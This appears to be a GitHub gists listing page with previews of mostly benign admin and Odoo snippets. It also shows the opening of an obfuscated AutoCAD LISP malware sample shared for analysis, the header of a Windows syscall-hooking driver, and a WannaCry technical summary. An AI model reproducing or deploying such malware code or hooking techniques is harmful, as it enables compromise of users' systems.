Skip to content

Instantly share code, notes, and snippets.

View TarikIbrahim's full-sized avatar

Tarik Ibrahim TarikIbrahim

View GitHub Profile
@mohamed-samir907
mohamed-samir907 / service-monitor.sh
Created November 2, 2021 23:35
service monitoring bash script
#!/bin/bash
if [ $# -ne 1 ]; then
echo "Error: Invlaid number of arguments. expection 1 argument"
exit
fi
# Check the service status
# [ + ] (running)
# [ - ] (stopped)
@ahmedelbougha
ahmedelbougha / stock_move.py
Last active January 27, 2024 07:09
Example of Odoo Multi-Threading - Background Process
from odoo import api, fields, models
from odoo.tools import float_is_zero
from odoo.exceptions import UserError, ValidationError
import threading
import time
import logging
class StockMove(models.Model):
_inherit = 'stock.move'
@simon04
simon04 / git.sh
Created January 14, 2020 07:16
Git merge/replace orphan branch into master
git checkout --orphan new-framework
# completely rewrite your application in new framework
git merge --strategy=ours --allow-unrelated-histories master
git commit-tree -p HEAD^2 -p HEAD^1 -m "Merge branch 'new-framework'" "HEAD^{tree}"
git reset --hard $OUTPUT_FROM_PREVIOUS_COMMAND
git checkout master
git merge --ff-only new-framework
@101t
101t / Deployment Guide to Installing Odoo 14 on Ubuntu 20.04.md
Last active June 13, 2024 21:47
Deployment Guide to Installing Odoo 14 on Ubuntu 20.04
@Barakat
Barakat / Driver.c
Last active October 8, 2023 05:43
sysenter/KiFastCallEntry/IA32_SYSENTER_EIP hooking driver for Windows x86
//
// sysenter/KiFastCallEntry/IA32_SYSENTER_EIP hooking driver
//
// Barakat Soror (https://twitter.com/barakatsoror)
//
#include <wdm.h>
#include <intrin.h>
#ifndef _X86_
@JohnLaTwC
JohnLaTwC / AutoCAD LISP Malware
Created September 22, 2018 22:22
AutoCAD LISP Malware
## Uploaded by @JohnLaTwC
## AutoCAD LISP Malware
###################################################################
## 332ca1146b1478cc9ddda9be07815a48071b9e83081eb995f33379385d3258f2
(setq s::startup nil)
(setq *startup* (strcat (chr 40)
(chr 115)
(chr 101)
(chr 116)
@akhdaniel
akhdaniel / Installation Checklist: Odoo v10 + Ubuntu 16.04 +Nginx + Certbot SSL.md
Last active April 17, 2024 07:46
Installation Checklist: Odoo v10 + Ubuntu 16.04 + Nginx + Certbot SSL

Step 1 - Add the Odoo repository

wget -O - https://nightly.odoo.com/odoo.key | apt-key add -
echo "deb http://nightly.odoo.com/10.0/nightly/deb/ ./" >> /etc/apt/sources.list
apt-get update

Step 2 - Configure a Linux user for Odoo

@kenvac
kenvac / pgbouncer.ini
Created November 7, 2017 09:50
basic pgbouncer configuration with odoo
;; database name = connect string
;;
;; connect string params:
;; dbname= host= port= user= password=
;; client_encoding= datestyle= timezone=
;; pool_size= connect_query=
[databases]
odoo1 = host=127.0.0.1 auth_user=odoo dbname=odoo1 port=5432
odoo2 = host=127.0.0.1 auth_user=odoo dbname=odoo2 port=5432
odoo3 = host=127.0.0.1 auth_user=odoo port=5432 dbname=odoo3

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

  • Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
  • Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
  • Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
  • Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
  • Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru

@graphaelli
graphaelli / batch-update.sql
Created April 19, 2017 22:44
batch postgresql updates with a CTE
-- based on https://news.ycombinator.com/item?id=9018756
=# select *, 'foo'::text into test from generate_series(1,5) as id;
SELECT 5
Time: 77.975 ms
=# select * from test;
┌────┬──────┐
│ id │ text │
├────┼──────┤
│ 1 │ foo │
│ 2 │ foo │